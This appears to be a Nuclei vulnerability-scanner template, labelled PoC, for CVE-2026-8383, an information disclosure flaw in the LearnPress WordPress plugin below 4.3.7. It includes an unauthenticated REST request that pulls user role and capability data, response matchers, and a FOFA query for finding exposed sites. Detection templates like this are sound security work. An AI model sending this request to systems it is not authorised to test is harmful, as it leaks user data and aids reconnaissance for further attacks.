LearnPress WordPress plugin < 4.3.7 contains an information disclosure vulnerability caused by missing capability checks on a REST endpoint, letting unauthenticated visitors retrieve sensitive user role and capability data via crafted requests.
PoC
id: CVE-2026-8383
info:
name: LearnPress < 4.3.7 - Information Disclosure
author: 0x_Akoko
severity: medium
description: |
LearnPress WordPress plugin < 4.3.7 contains an information disclosure vulnerability caused by missing capability checks on a REST endpoint, letting unauthenticated visitors retrieve sensitive user role and capability data via crafted requests.
impact: |
Unauthenticated attackers can access sensitive user role and capability information, potentially aiding further attacks.
remediation: |
Update to version 4.3.7 or later.
reference:
- https://wpscan.com/vulnerability/b7cbf68b-62c5-4787-b84b-69df9e0122b2/
- https://nvd.nist.gov/vuln/detail/CVE-2026-8383
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-8383
epss-score: 0.07623
epss-percentile: 0.94249
cwe-id: CWE-862
metadata:
verified: true
max-request: 1
vendor: thimpress
product: learnpress
fofa-query: body="/wp-content/plugins/learnpress/"
tags: cve,cve2026,wordpress,wp,wp-plugin,learnpress,disclosure,rest-api
http:
- raw:
- |
GET /wp-json/learnpress/v1/users?context=edit HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"roles\"", "\"capabilities\"", "registered_date")'
condition: and
# digest: 4a0a00473045022100f2ce6920c1f2d437fc236628201e88bf49791b687144098ab8cfe6e63fc08a9d02200854323546e633bb8fe5079dddd52df1de68d563c1b1ea2c1f773413a7aec0ad:922c64590222798bb761d5b6d8e72950
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